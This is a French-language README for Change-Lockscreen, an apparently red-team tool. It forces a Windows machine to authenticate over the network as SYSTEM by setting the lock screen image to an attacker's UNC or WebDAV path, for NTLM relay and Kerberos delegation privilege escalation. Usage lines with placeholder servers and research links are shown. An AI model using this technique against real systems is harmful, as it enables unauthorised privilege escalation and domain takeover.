Change-Lockscreen

Change-Lockscreen est un outil permettant de déclencher des authentifications réseau en tant que SYSTEM en modifiant l'image de l'écran de verrouillage Windows depuis la ligne de commande, afin de mener des attaques d'élévation de privilèges comme celle décrite dans l'article lié ci-dessous :

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

Fonctionnalités

Par défaut, Windows 10 dispose d'une fonctionnalité appelée Windows Spotlight. Elle télécharge et affiche automatiquement les images de l'écran de verrouillage.

• Lorsque cette fonctionnalité est activée, Change-Lockscreen la désactivera et définira l'image spécifiée dans les arguments
• Sinon, si l'utilisateur dispose d'une image d'écran de verrouillage personnalisée, Change-Lockscreen se chargera d'en effectuer une sauvegarde, de déclencher l'authentification réseau, puis de la rétablir

Remarque : bien que la version PowerShell de l'outil fonctionne de manière fiable, la version C# échoue parfois à restaurer l'image d'origine.

Utilisation

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

Auteurs

• Simone Salucci
• Daniel López Jiménez

Remerciements

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/